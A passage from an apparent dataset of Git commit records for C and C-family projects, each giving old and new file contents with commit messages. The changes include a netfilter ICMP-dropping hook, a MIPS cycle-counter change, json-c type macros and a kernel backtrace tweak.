laserswald\/the_silver_searcher,nishant8BITS\/the_silver_searcher,avih\/the_silver_searcher,snahor\/the_silver_searcher,smaudet\/the_silver_searcher,subev\/the_silver_searcher,leeonix\/the_silver_searcher,bhaak\/the_silver_searcher,accessv\/the_silver_searcher,bhaak\/the_silver_searcher,brianstorti\/the_silver_searcher,leeonix\/the_silver_searcher,christer155\/the_silver_searcher,ur4ltz\/the_silver_searcher,bc-jaymendoza\/the_silver_searcher,sebgod\/the_silver_searcher,godbyk\/the_silver_searcher,k-takata\/the_silver_searcher,snahor\/the_silver_searcher,snahor\/the_silver_searcher,bestwpw\/the_silver_searcher,ggreer\/the_silver_searcher,jemiahlee\/the_silver_searcher,decaff\/the_silver_searcher,starcraftman\/the_silver_searcher,laserswald\/the_silver_searcher,laserswald\/the_silver_searcher,bhaak\/the_silver_searcher,nodakai\/the_silver_searcher,christer155\/the_silver_searcher,ArneBab\/the_silver_searcher,k-takata\/the_silver_searcher,starcraftman\/the_silver_searcher,k-takata\/the_silver_searcher,cchamberlain\/the_silver_searcher,RedX2501\/the_silver_searcher,vehar\/the_silver_searcher,vehar\/the_silver_searcher,laserswald\/the_silver_searcher,JFLarvoire\/the_silver_searcher,rowanbeentje\/the_silver_searcher,sebgod\/the_silver_searcher,accessv\/the_silver_searcher,vehar\/the_silver_searcher,Arkanosis\/the_silver_searcher,danielshahaf\/the_silver_searcher,lunixbochs\/the_silver_searcher,nodakai\/the_silver_searcher,cchamberlain\/the_silver_searcher,pbhandari\/the_silver_searcher,k-takata\/the_silver_searcher,danielshahaf\/the_silver_searcher,JFLarvoire\/the_silver_searcher,lunixbochs\/the_silver_searcher,danielshahaf\/the_silver_searcher,lecheel\/the_silver_searcher,JFLarvoire\/the_silver_searcher,subev\/the_silver_searcher,danielshahaf\/the_silver_searcher,kjk\/the_silver_searcher,snahor\/the_silver_searcher,bestwpw\/the_silver_searcher,ggreer\/the_silver_searcher,Arkanosis\/the_silver_searcher,decaff\/the_silver_searcher,JFLarvoire\/the_silver_searcher,ur4ltz\/the_silver_searcher,snahor\/the_silver_searcher,jemiahlee\/the_silver_searcher,vehar\/the_silver_searcher,Arkanosis\/the_silver_searcher,siadat\/the_silver_searcher,kjk\/the_silver_searcher,avih\/the_silver_searcher,avih\/the_silver_searcher,Arkanosis\/the_silver_searcher,ArneBab\/the_silver_searcher,leeonix\/the_silver_searcher,mcanthony\/the_silver_searcher,smaudet\/the_silver_searcher,mcanthony\/the_silver_searcher,smaudet\/the_silver_searcher,msys2\/the_silver_searcher,decaff\/the_silver_searcher,kjk\/the_silver_searcher,pbhandari\/the_silver_searcher,bc-jaymendoza\/the_silver_searcher,mcanthony\/the_silver_searcher,pbhandari\/the_silver_searcher,lecheel\/the_silver_searcher,lecheel\/the_silver_searcher,leeonix\/the_silver_searcher,smaudet\/the_silver_searcher,starcraftman\/the_silver_searcher,RedX2501\/the_silver_searcher,jemiahlee\/the_silver_searcher,bc-jaymendoza\/the_silver_searcher,bc-jaymendoza\/the_silver_searcher,JFLarvoire\/the_silver_searcher,SnoringFrog\/the_silver_searcher,ArneBab\/the_silver_searcher,jemiahlee\/the_silver_searcher,monochromegane\/the_silver_searcher,ArneBab\/the_silver_searcher,ArneBab\/the_silver_searcher,SnoringFrog\/the_silver_searcher,rowanbeentje\/the_silver_searcher,RedX2501\/the_silver_searcher,lizh06\/the_silver_searcher,brianstorti\/the_silver_searcher,SnoringFrog\/the_silver_searcher,avih\/the_silver_searcher,msys2\/the_silver_searcher,accessv\/the_silver_searcher,JFLarvoire\/the_silver_searcher,ur4ltz\/the_silver_searcher,godbyk\/the_silver_searcher,nishant8BITS\/the_silver_searcher,danielshahaf\/the_silver_searcher,nodakai\/the_silver_searcher,abhiii5459\/the_silver_searcher,subev\/the_silver_searcher,bestwpw\/the_silver_searcher,kjk\/the_silver_searcher,bestwpw\/the_silver_searcher,kjk\/the_silver_searcher,schlosna\/the_silver_searcher,siadat\/the_silver_searcher,christer155\/the_silver_searcher,sebgod\/the_silver_searcher,starcraftman\/the_silver_searcher,nishant8BITS\/the_silver_searcher,JFLarvoire\/the_silver_searcher,christer155\/the_silver_searcher,lecheel\/the_silver_searcher,lizh06\/the_silver_searcher,msys2\/the_silver_searcher,nodakai\/the_silver_searcher,RedX2501\/the_silver_searcher,laserswald\/the_silver_searcher,decaff\/the_silver_searcher,pbhandari\/the_silver_searcher,bhaak\/the_silver_searcher,leeonix\/the_silver_searcher,nishant8BITS\/the_silver_searcher,vehar\/the_silver_searcher,pbhandari\/the_silver_searcher,mcanthony\/the_silver_searcher,lunixbochs\/the_silver_searcher,ggreer\/the_silver_searcher,abhiii5459\/the_silver_searcher,brianstorti\/the_silver_searcher,kjk\/the_silver_searcher,leeonix\/the_silver_searcher,schlosna\/the_silver_searcher,lizh06\/the_silver_searcher,RedX2501\/the_silver_searcher,msys2\/the_silver_searcher,godbyk\/the_silver_searcher,mcanthony\/the_silver_searcher,bc-jaymendoza\/the_silver_searcher,brianstorti\/the_silver_searcher,decaff\/the_silver_searcher,ur4ltz\/the_silver_searcher,avih\/the_silver_searcher"}
{"commit":"f051e451c92d176532fde7e6da09dff3262aa9ae","old_file":"src\/gui\/src\/docks\/settings-dock.h","new_file":"src\/gui\/src\/docks\/settings-dock.h","old_contents":"#ifndef SETTINGS_DOCK_H\n#define SETTINGS_DOCK_H\n\n#include <QStringList>\n#include <QWidget>\n#include \"dock.h\"\n\n\nnamespace Ui\n{\n\tclass SettingsDock;\n}\n\n\nclass Profile;\nclass QEvent;\nclass QSettings;\n\nclass SettingsDock : public Dock\n{\n\tQ_OBJECT\n\n\tpublic:\n\t\texplicit SettingsDock(Profile *profile, QWidget *parent);\n\t\t~SettingsDock() override;\n\n\tprotected:\n\t\tvoid changeEvent(QEvent *event) override;\n\t\tvoid saveSettings();\n\n\tpublic slots:\n\t\tvoid reset();\n\n\tprotected slots:\n\t\tvoid chooseFolder();\n\t\tvoid save();\n\t\tvoid updateCompleters();\n\n\tprivate:\n\t\tUi::SettingsDock *ui;\n\t\tProfile *m_profile;\n\t\tQSettings *m_settings;\n\t\tQStringList m_lineFilename_completer;\n\t\tQStringList m_lineFolder_completer;\n};\n\n#endif \/\/ SETTINGS_DOCK_H\n","new_contents":"#ifndef SETTINGS_DOCK_H\n#define SETTINGS_DOCK_H\n\n#include <QStringList>\n#include <QWidget>\n#include \"dock.h\"\n\n\nnamespace Ui\n{\n\tclass SettingsDock;\n}\n\n\nclass Profile;\nclass QEvent;\nclass QSettings;\n\nclass SettingsDock : public Dock\n{\n\tQ_OBJECT\n\n\tpublic:\n\t\texplicit SettingsDock(Profile *profile, QWidget *parent);\n\t\t~SettingsDock() override;\n\n\tprotected:\n\t\tvoid changeEvent(QEvent *event) override;\n\n\tpublic slots:\n\t\tvoid reset();\n\n\tprotected slots:\n\t\tvoid chooseFolder();\n\t\tvoid save();\n\t\tvoid saveSettings();\n\t\tvoid updateCompleters();\n\n\tprivate:\n\t\tUi::SettingsDock *ui;\n\t\tProfile *m_profile;\n\t\tQSettings *m_settings;\n\t\tQStringList m_lineFilename_completer;\n\t\tQStringList m_lineFolder_completer;\n};\n\n#endif \/\/ SETTINGS_DOCK_H\n","subject":"Fix broken connection in quick settings dock","message":"Fix broken connection in quick settings dock\n","lang":"C","license":"apache-2.0","repos":"Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber"}
{"commit":"0164cb003172e6e3224498eb77bbf14ca5ece039","old_file":"mfmod.c","new_file":"mfmod.c","old_contents":"#include <linux\/module.h>\n#include <linux\/kernel.h>\n#include <linux\/netfilter.h>\n#include <linux\/netfilter_ipv4.h>\n\nstatic struct nf_hook_ops nfho;\n\nunsigned int hook_func(unsigned int hooknum,\n\tstruct sk_buff *skb,\n\tconst struct net_device *in,\n\tconst struct net_device *out,\n\tint (*okfn)(struct sk_buff *))\n{\n\treturn NF_DROP;\n}\n\nint init_module() {\n\tnfho.hook = hook_func;\n\tnfho.hooknum = NF_INET_PRE_ROUTING;\n\tnfho.pf = PF_INET;\n\tnfho.priority = NF_IP_PRI_FIRST;\n\n\tnf_register_hook(&nfho);\n\treturn 0;\n}\n\nvoid cleanup_module() {\n\tnf_unregister_hook(&nfho);\n}\n","new_contents":"#include <linux\/module.h>\n#include <linux\/kernel.h>\n#include <linux\/netfilter.h>\n#include <linux\/netfilter_ipv4.h>\n\nstatic struct nf_hook_ops nfho;\n\nunsigned int hook_func(unsigned int hooknum,\n\tstruct sk_buff *skb,\n\tconst struct net_device *in,\n\tconst struct net_device *out,\n\tint (*okfn)(struct sk_buff *))\n{\n    socket_buff = skb;\n\n    if (!socket_buff) {\n        return NF_ACCEPT;\n    } else {\n        ip_header = (stuct iphdr *)skb_network_header(socket_buff); \/\/ Network header\n\n        \/\/ Drop all ICMP packets\n        if (ip_header->protocol == IPPROTO_ICMP) {\n            return NF_DROP;\n        }\n    }\n}\n\nint init_module() {\n\tnfho.hook = hook_func;\n\tnfho.hooknum = NF_INET_PRE_ROUTING;\n\tnfho.pf = PF_INET;\n\tnfho.priority = NF_IP_PRI_FIRST;\n\n\tnf_register_hook(&nfho);\n\treturn 0;\n}\n\nvoid cleanup_module() {\n\tnf_unregister_hook(&nfho);\n}\n","subject":"Set hook to block all ICMP packets","message":"Set hook to block all ICMP packets\n","lang":"C","license":"mit","repos":"Muhlenberg\/mfw"}
{"commit":"7fb4952ef5c9814ac18e6211ac5dbb70530d559b","old_file":"inc\/ArgParse\/ArgObject.h","new_file":"inc\/ArgParse\/ArgObject.h","old_contents":"#ifndef ARGPARSE_ArgObject_HDR\n#define ARGPARSE_ArgObject_HDR\n\n#include <string>\n\nnamespace ArgParse {\n\tclass ArgObject {\n\t\tpublic:\n\t\t\ttypedef int Accept_t;\n\t\t\tstatic const Accept_t No;\n\t\t\tstatic const Accept_t WithArg;\n\t\t\tstatic const Accept_t WithoutArg;\n\t\n\t\t\tArgObject();\n\t\t\tvirtual ~ArgObject();\n\t\n\t\t\tvirtual Accept_t AcceptsArgument(std::string arg) = 0;\n\t\t\tvirtual int PassArgument(std::string arg, std::string opt, bool with_opt) = 0;\n\t\n\t\t\tvirtual bool IsReady() = 0;\n\t\n\t\t\tvirtual std::string GetHelpText() = 0;\n\t};\n}\n\n#endif\n","new_contents":"#ifndef ARGPARSE_ArgObject_HDR\n#define ARGPARSE_ArgObject_HDR\n\n#include <string>\n\nnamespace ArgParse {\n\tclass ArgObject {\n\t\tpublic:\n\t\t\ttypedef int Accept_t;\n\t\t\tstatic const Accept_t No;\n\t\t\tstatic const Accept_t WithArg;\n\t\t\tstatic const Accept_t WithoutArg;\n\t\n\t\t\tArgObject();\n\t\t\tvirtual ~ArgObject();\n\t\n\t\t\tvirtual Accept_t AcceptsArgument(std::string arg) __attribute__((warn_unused_result)) = 0;\n\t\t\tvirtual int PassArgument(std::string arg, std::string opt, bool with_opt) __attribute__((warn_unused_result)) = 0;\n\t\n\t\t\tvirtual bool IsReady() __attribute__((warn_unused_result)) = 0;\n\t\n\t\t\tvirtual std::string GetHelpText() = 0;\n\t};\n}\n\n#endif\n","subject":"Add warn_unused_result to the ArgParse functions","message":"Add warn_unused_result to the ArgParse functions\n\nWhich return a value.\n","lang":"C","license":"mit","repos":"krafczyk\/ArgParse,krafczyk\/ArgParse"}
{"commit":"efb9ca08b5a2374b29938cdcab417ce4feb14b54","old_file":"include\/asm-mips\/timex.h","new_file":"include\/asm-mips\/timex.h","old_contents":"\/*\n * This file is subject to the terms and conditions of the GNU General Public\n * License.  See the file \"COPYING\" in the main directory of this archive\n * for more details.\n *\n * Copyright (C) 1998, 1999, 2003 by Ralf Baechle\n *\/\n#ifndef _ASM_TIMEX_H\n#define _ASM_TIMEX_H\n\n#ifdef __KERNEL__\n\n#include <asm\/mipsregs.h>\n\n\/*\n * This is the clock rate of the i8253 PIT.  A MIPS system may not have\n * a PIT by the symbol is used all over the kernel including some APIs.\n * So keeping it defined to the number for the PIT is the only sane thing\n * for now.\n *\/\n#define CLOCK_TICK_RATE 1193182\n\n\/*\n * Standard way to access the cycle counter.\n * Currently only used on SMP for scheduling.\n *\n * Only the low 32 bits are available as a continuously counting entity.\n * But this only means we'll force a reschedule every 8 seconds or so,\n * which isn't an evil thing.\n *\n * We know that all SMP capable CPUs have cycle counters.\n *\/\n\ntypedef unsigned int cycles_t;\n\nstatic inline cycles_t get_cycles(void)\n{\n\treturn read_c0_count();\n}\n\n#endif \/* __KERNEL__ *\/\n\n#endif \/*  _ASM_TIMEX_H *\/\n","new_contents":"\/*\n * This file is subject to the terms and conditions of the GNU General Public\n * License.  See the file \"COPYING\" in the main directory of this archive\n * for more details.\n *\n * Copyright (C) 1998, 1999, 2003 by Ralf Baechle\n *\/\n#ifndef _ASM_TIMEX_H\n#define _ASM_TIMEX_H\n\n#ifdef __KERNEL__\n\n#include <asm\/mipsregs.h>\n\n\/*\n * This is the clock rate of the i8253 PIT.  A MIPS system may not have\n * a PIT by the symbol is used all over the kernel including some APIs.\n * So keeping it defined to the number for the PIT is the only sane thing\n * for now.\n *\/\n#define CLOCK_TICK_RATE 1193182\n\n\/*\n * Standard way to access the cycle counter.\n * Currently only used on SMP for scheduling.\n *\n * Only the low 32 bits are available as a continuously counting entity.\n * But this only means we'll force a reschedule every 8 seconds or so,\n * which isn't an evil thing.\n *\n * We know that all SMP capable CPUs have cycle counters.\n *\/\n\ntypedef unsigned int cycles_t;\n\nstatic inline cycles_t get_cycles(void)\n{\n\treturn 0;\n}\n\n#endif \/* __KERNEL__ *\/\n\n#endif \/*  _ASM_TIMEX_H *\/\n","subject":"Change get_cycles to always return 0.","message":"[MIPS] Change get_cycles to always return 0.\n\nThis avoids us executing an mfc0 c0_count instruction on processors which\ndon't have but also on certain R4000 and R4400 versions where reading from\nthe count register just in the very moment when its value equals\nc0_compare will result in the timer interrupt getting lost.\n\nThere is still a number of users of get_cycles remaining outside the\narch code:\n\ncrypto\/tcrypt.c:                start = get_cycles();\ncrypto\/tcrypt.c:                end = get_cycles();\ncrypto\/tcrypt.c:                start = get_cycles();\ncrypto\/tcrypt.c:                end = get_cycles();\ncrypto\/tcrypt.c:                start = get_cycles();\ncrypto\/tcrypt.c:                end = get_cycles();\ndrivers\/char\/hangcheck-timer.c: return get_cycles();\ndrivers\/char\/hangcheck-timer.c: printk(\"Hangcheck: Using get_cycles().\\n\");\ndrivers\/char\/random.c:  sample.cycles = get_cycles();\ndrivers\/input\/joystick\/analog.c:#define GET_TIME(x)     do { x = get_cycles(); }\ninclude\/linux\/arcdevice.h:          _x = get_cycles(); \\\ninclude\/linux\/arcdevice.h:          _y = get_cycles(); \\\nmm\/slub.c:      if (!s->defrag_ratio || get_cycles() % 1024 > s->defrag_ratio)\nmm\/slub.c:      p += 64 + (get_cycles() & 0xff) * sizeof(void *);\n\nSigned-off-by: Ralf Baechle <92f48d309cda194c8eda36aa8f9ae28c488fa208@linux-mips.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"2abcf136b51489096ea00b605e820668bd005945","old_file":"tests\/regression\/34-localization\/05-nested.w.counter.c","new_file":"tests\/regression\/34-localization\/05-nested.w.counter.c","old_contents":"\/\/ Variant of nested.c with a counter.\nvoid main()\n{\n   int z = 0;\n   for (int i=0; i<10 ; i++)\n     {\n\tz = z+1;\n\tfor (int j = 0; j < 10 ; j++) ;\n           z = z+1;\n     }\n   return ;\n}\n","new_contents":"\/\/ Variant of nested.c with a counter.\nvoid main()\n{\n  int z = 0;\n  for (int i=0; i<10 ; i++) {\n\t  z = z+1;\n\t  for (int j = 0; j < 10 ; j++) ;\n    z = z+1; \/\/ was this intended to be inner loop?\n  }\n  return ;\n}\n","subject":"Indent file; maybe delete it?","message":"Indent file; maybe delete it?\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"c8bb04566667228539a35ab38c1538882c77e063","old_file":"Libs\/XNAT\/Core\/ctkXnatListModel.h","new_file":"Libs\/XNAT\/Core\/ctkXnatListModel.h","old_contents":"\/*=============================================================================\n\n  Library: XNAT\/Core\n\n  Copyright (c) German Cancer Research Center,\n    Division of Medical and Biological Informatics\n\n  Licensed under the Apache License, Version 2.0 (the \"License\");\n  you may not use this file except in compliance with the License.\n  You may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n\n=============================================================================*\/\n\n#ifndef CTKXNATLISTMODEL_H\n#define CTKXNATLISTMODEL_H\n\n#include \"QAbstractListModel\"\n\n#include \"ctkXNATCoreExport.h\"\n\nclass ctkXnatObject;\n\n\/**\n * @ingroup XNAT_Core\n *\/\nclass CTK_XNAT_CORE_EXPORT ctkXnatListModel : public QAbstractListModel\n{\n  Q_OBJECT\n\npublic:\n  ctkXnatListModel();\n  void setRootObject(ctkXnatObject* root);\n  ctkXnatObject* rootObject();\n\n  int rowCount(const QModelIndex &parent) const;\n  QVariant data(const QModelIndex &index, int role) const;\n  QVariant headerData(int section, Qt::Orientation orientation, int role) const;\n\nprivate:\n  ctkXnatObject* RootObject;\n};\n\n#endif \/\/ CTKXNATLISTMODEL_H\n","new_contents":"\/*=============================================================================\n\n  Library: XNAT\/Core\n\n  Copyright (c) German Cancer Research Center,\n    Division of Medical and Biological Informatics\n\n  Licensed under the Apache License, Version 2.0 (the \"License\");\n  you may not use this file except in compliance with the License.\n  You may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n\n=============================================================================*\/\n\n#ifndef CTKXNATLISTMODEL_H\n#define CTKXNATLISTMODEL_H\n\n#include \"QAbstractListModel\"\n\n#include \"ctkXNATCoreExport.h\"\n\nclass ctkXnatObject;\n\n\/**\n * @ingroup XNAT_Core\n *\/\nclass CTK_XNAT_CORE_EXPORT ctkXnatListModel : public QAbstractListModel\n{\n  Q_OBJECT\n\npublic:\n  ctkXnatListModel();\n  void setRootObject(ctkXnatObject* root);\n  ctkXnatObject* rootObject();\n\n  int rowCount(const QModelIndex &parent) const;\n  QVariant data(const QModelIndex &index, int role) const;\n  QVariant headerData(int section, Qt::Orientation orientation, int role) const;\n\nprotected:\n  ctkXnatObject* RootObject;\n};\n\n#endif \/\/ CTKXNATLISTMODEL_H\n","subject":"Make root object protected to allow access to the root object from within subclasses.","message":"Make root object protected to allow access to the root object from\nwithin subclasses.\n","lang":"C","license":"apache-2.0","repos":"msmolens\/CTK,CJGoch\/CTK,commontk\/CTK,msmolens\/CTK,151706061\/CTK,sankhesh\/CTK,SINTEFMedtek\/CTK,SINTEFMedtek\/CTK,151706061\/CTK,SINTEFMedtek\/CTK,Heather\/CTK,jcfr\/CTK,commontk\/CTK,CJGoch\/CTK,151706061\/CTK,ddao\/CTK,SINTEFMedtek\/CTK,laurennlam\/CTK,CJGoch\/CTK,Sardge\/CTK,naucoin\/CTK,fedorov\/CTK,danielknorr\/CTK,sankhesh\/CTK,151706061\/CTK,naucoin\/CTK,AndreasFetzer\/CTK,jcfr\/CTK,danielknorr\/CTK,commontk\/CTK,SINTEFMedtek\/CTK,CJGoch\/CTK,AndreasFetzer\/CTK,Heather\/CTK,commontk\/CTK,ddao\/CTK,msmolens\/CTK,ddao\/CTK,fedorov\/CTK,laurennlam\/CTK,danielknorr\/CTK,Sardge\/CTK,sankhesh\/CTK,rkhlebnikov\/CTK,fedorov\/CTK,jcfr\/CTK,CJGoch\/CTK,sankhesh\/CTK,Sardge\/CTK,mehrtash\/CTK,danielknorr\/CTK,AndreasFetzer\/CTK,fedorov\/CTK,mehrtash\/CTK,mehrtash\/CTK,AndreasFetzer\/CTK,151706061\/CTK,naucoin\/CTK,rkhlebnikov\/CTK,rkhlebnikov\/CTK,Heather\/CTK,jcfr\/CTK,laurennlam\/CTK,rkhlebnikov\/CTK,naucoin\/CTK,laurennlam\/CTK,mehrtash\/CTK,Sardge\/CTK,jcfr\/CTK,ddao\/CTK,Heather\/CTK,msmolens\/CTK"}
{"commit":"0137d0eec37a833a2ba575d25aeef8400cc459c7","old_file":"RZCollectionList\/RZCollectionList.h","new_file":"RZCollectionList\/RZCollectionList.h","old_contents":"\/\/\n\/\/  RZCollectionList.h\n\/\/  RZCollectionList\n\/\/\n\/\/  Created by Nick Donaldson on 6\/21\/13.\n\/\/  Copyright (c) 2013 Raizlabs. All rights reserved.\n\/\/\n\n\/************************************************************\n *\n * Include this file to get all the collection lists you need!\n *\n ************************************************************\/\n\n#import \"RZCollectionListProtocol.h\"\n#import \"RZArrayCollectionList.h\"\n#import \"RZFetchedCollectionList.h\"\n#import \"RZFilteredCollectionList.h\"\n#import \"RZSortedCollectionList.h\"\n#import \"RZCompositeCollectionList.h\"\n#import \"RZCollectionListTableViewDataSource.h\"\n\n#if (__IPHONE_OS_VERSION_MIN_REQUIRED >= __IPHONE_6_0)\n    #import \"RZcollectionListCollectionViewDataSource.h\"\n#endif\n\n\/\/ Category for helping construct fetch requests\n#import \"NSFetchRequest+RZCreationHelpers.h\"","new_contents":"\/\/\n\/\/  RZCollectionList.h\n\/\/  RZCollectionList\n\/\/\n\/\/  Created by Nick Donaldson on 6\/21\/13.\n\/\/  Copyright (c) 2013 Raizlabs. All rights reserved.\n\/\/\n\n\/************************************************************\n *\n * Include this file to get all the collection lists at once\n *\n ************************************************************\/\n\n#import \"RZArrayCollectionList.h\"\n#import \"RZFetchedCollectionList.h\"\n#import \"RZFilteredCollectionList.h\"\n#import \"RZSortedCollectionList.h\"\n#import \"RZCompositeCollectionList.h\"\n#import \"RZCollectionListTableViewDataSource.h\"\n\n#if (__IPHONE_OS_VERSION_MIN_REQUIRED >= __IPHONE_6_0)\n    #import \"RZcollectionListCollectionViewDataSource.h\"\n#endif\n\n\/\/ Category for helping construct fetch requests\n#import \"NSFetchRequest+RZCreationHelpers.h\"","subject":"Remove protocol from umbrella header","message":"Remove protocol from umbrella header\n","lang":"C","license":"mit","repos":"Raizlabs\/RZCollectionList"}
{"commit":"720d566d03e23418b7bb3cff2f74ef7d95c6a459","old_file":"json_inttypes.h","new_file":"json_inttypes.h","old_contents":"\n#ifndef _json_inttypes_h_\n#define _json_inttypes_h_\n\n#include \"json_config.h\"\n\n#if defined(_MSC_VER) && _MSC_VER <= 1700\n\n\/* Anything less than Visual Studio C++ 10 is missing stdint.h and inttypes.h *\/\ntypedef __int32 int32_t;\n#define INT32_MIN    ((int32_t)_I32_MIN)\n#define INT32_MAX    ((int32_t)_I32_MAX)\ntypedef __int64 int64_t;\n#define INT64_MIN    ((int64_t)_I64_MIN)\n#define INT64_MAX    ((int64_t)_I64_MAX)\n#define PRId64 \"I64d\"\n#define SCNd64 \"I64d\"\n\n#else\n\n#ifdef JSON_C_HAVE_INTTYPES_H\n#include <inttypes.h>\n#endif\n\/* inttypes.h includes stdint.h *\/\n\n#endif\n\n#endif\n","new_contents":"\n#ifndef _json_inttypes_h_\n#define _json_inttypes_h_\n\n#include \"json_config.h\"\n\n#ifdef JSON_C_HAVE_INTTYPES_H\n\/* inttypes.h includes stdint.h *\/\n#include <inttypes.h>\n\n#else\n#include <stdint.h>\n\n#define PRId64 \"I64d\"\n#define SCNd64 \"I64d\"\n\n#endif\n\n#endif\n","subject":"Define macros from inttypes.h when not available","message":"Define macros from inttypes.h when not available\n","lang":"C","license":"mit","repos":"cubieb\/json-c,PureSwift\/json-c,Nzbuu\/json-c,PureSwift\/json-c,haoranzeus\/json-c,Amineahd\/json-c,rgerhards\/json-c,cubieb\/json-c,alagoutte\/json-c,rgerhards\/json-c,cubieb\/json-c,Nzbuu\/json-c,chenha0\/json-c,colemancda\/json-c,alagoutte\/json-c,haoranzeus\/json-c,rgerhards\/json-c,colemancda\/json-c,chenha0\/json-c,Nzbuu\/json-c,PureSwift\/json-c,haoranzeus\/json-c,colemancda\/json-c,PureSwift\/json-c,Amineahd\/json-c,chenha0\/json-c,Nzbuu\/json-c,Amineahd\/json-c,alagoutte\/json-c"}
{"commit":"3ef9314bab0e371027d8538f061211fe6fda4d17","old_file":"src\/ft_vdprintf.c","new_file":"src\/ft_vdprintf.c","old_contents":"\/* ************************************************************************** *\/\n\/*                                                                            *\/\n\/*                                                        :::      ::::::::   *\/\n\/*   ft_vdprintf.c                                      :+:      :+:    :+:   *\/\n\/*                                                    +:+ +:+         +:+     *\/\n\/*   By: jlagneau <jlagneau@student.42.fr>          +#+  +:+       +#+        *\/\n\/*                                                +#+#+#+#+#+   +#+           *\/\n\/*   Created: 2017\/04\/17 18:58:30 by jlagneau          #+#    #+#             *\/\n\/*   Updated: 2017\/04\/22 14:18:29 by jlagneau         ###   ########.fr       *\/\n\/*                                                                            *\/\n\/* ************************************************************************** *\/\n\n#include <libft.h>\n#include <ft_printf.h>\n\nint\t\tft_vdprintf(int fd, const char *format, va_list ap)\n{\n\tint\t\tret;\n\tchar\tstr[FT_PRINTF_MAX_LEN];\n\n\tft_bzero(str, FT_PRINTF_MAX_LEN);\n\tif (ft_strlen(format) > FT_PRINTF_MAX_LEN - 1)\n\t{\n\t\tft_putstr_fd(str, fd);\n\t\treturn (-1);\n\t}\n\tret = ft_vsprintf(str, format, ap);\n\tft_putstr_fd(str, fd);\n\treturn (ret);\n}\n","new_contents":"\/* ************************************************************************** *\/\n\/*                                                                            *\/\n\/*                                                        :::      ::::::::   *\/\n\/*   ft_vdprintf.c                                      :+:      :+:    :+:   *\/\n\/*                                                    +:+ +:+         +:+     *\/\n\/*   By: jlagneau <jlagneau@student.42.fr>          +#+  +:+       +#+        *\/\n\/*                                                +#+#+#+#+#+   +#+           *\/\n\/*   Created: 2017\/04\/17 18:58:30 by jlagneau          #+#    #+#             *\/\n\/*   Updated: 2017\/04\/22 14:22:04 by jlagneau         ###   ########.fr       *\/\n\/*                                                                            *\/\n\/* ************************************************************************** *\/\n\n#include <libft.h>\n#include <ft_printf.h>\n\nint\t\tft_vdprintf(int fd, const char *format, va_list ap)\n{\n\tint\t\tret;\n\tchar\tstr[FT_PRINTF_MAX_LEN];\n\n\tft_bzero(str, FT_PRINTF_MAX_LEN);\n\tif (ft_strlen(format) > FT_PRINTF_MAX_LEN - 1)\n\t{\n\t\tft_putstr_fd(format, fd);\n\t\treturn (-1);\n\t}\n\tret = ft_vsprintf(str, format, ap);\n\tft_putstr_fd(str, fd);\n\treturn (ret);\n}\n","subject":"Print format if the length is longer than printf max length","message":"Print format if the length is longer than printf max length\n","lang":"C","license":"mit","repos":"jlagneau\/libftprintf,jlagneau\/libftprintf"}
{"commit":"44acf7ff36b39e2af95bb8db453189b70b39d39a","old_file":"arch\/x86\/kernel\/bt.c","new_file":"arch\/x86\/kernel\/bt.c","old_contents":"#include <kernel\/panic.h>\n\n#include <macros.h>\n#include <stdio.h>\n#include <types.h>\n\n#define MAX_STACK_FRAME 10000\n\n\/*\n * Walk up the stack and print the locations of each stack frame base.\n *\/\nvoid bt(void) {\n\tu32 *ebp, *eip;\n\tunsigned int sf = 0;\n\n\t\/* Start form the current stack base *\/\n\tasm volatile(\"mov %%ebp, %0\" : \"=r\" (ebp));\n\n\t\/* Continue until you reach a zeroed stack base pointer. The initial ebp\n\t * value is zeroed at boot, but note that this could be corrupted in the\n\t * case of serious memory corruption. To protect against this, we keep\n\t * track of the frame number and break if it exceeds a reasonable\n\t * maximum value. *\/\n\twhile (ebp) {\n\t\teip = ebp + 1;\n\t\tprintf(\"#%d  [0x%x]\\n\", sf, *eip);\n\t\tebp = (u32*)*ebp;\n\t\tsf++;\n\n\t\t\/* break if exceeded maximum *\/\n\t\tif (sf > MAX_STACK_FRAME)\n\t\t\tbreak;\n\t}\n}\n","new_contents":"#include <kernel\/panic.h>\n\n#include <elf.h>\n#include <macros.h>\n#include <stdio.h>\n#include <types.h>\n\n#define MAX_STACK_FRAME 10000\n\n\/*\n * Walk up the stack and print the locations of each stack frame base.\n *\/\nvoid bt(void) {\n\tu32 *ebp, *eip;\n\tunsigned int sf = 0;\n\n\t\/* Start form the current stack base *\/\n\tasm volatile(\"mov %%ebp, %0\" : \"=r\" (ebp));\n\n\t\/* Continue until you reach a zeroed stack base pointer. The initial ebp\n\t * value is zeroed at boot, but note that this could be corrupted in the\n\t * case of serious memory corruption. To protect against this, we keep\n\t * track of the frame number and break if it exceeds a reasonable\n\t * maximum value. *\/\n\twhile (ebp) {\n\t\teip = ebp + 1;\n\t\tprintf(\"#%d  [0x%x] %s\\n\",\n\t\t       sf, *eip, symbol_from_elf(&kelf, *eip));\n\t\tebp = (u32*)*ebp;\n\t\tsf++;\n\n\t\t\/* break if exceeded maximum *\/\n\t\tif (sf > MAX_STACK_FRAME)\n\t\t\tbreak;\n\t}\n}\n","subject":"Print symbol names in backtrace","message":"arch\/x86: Print symbol names in backtrace\n\nThis 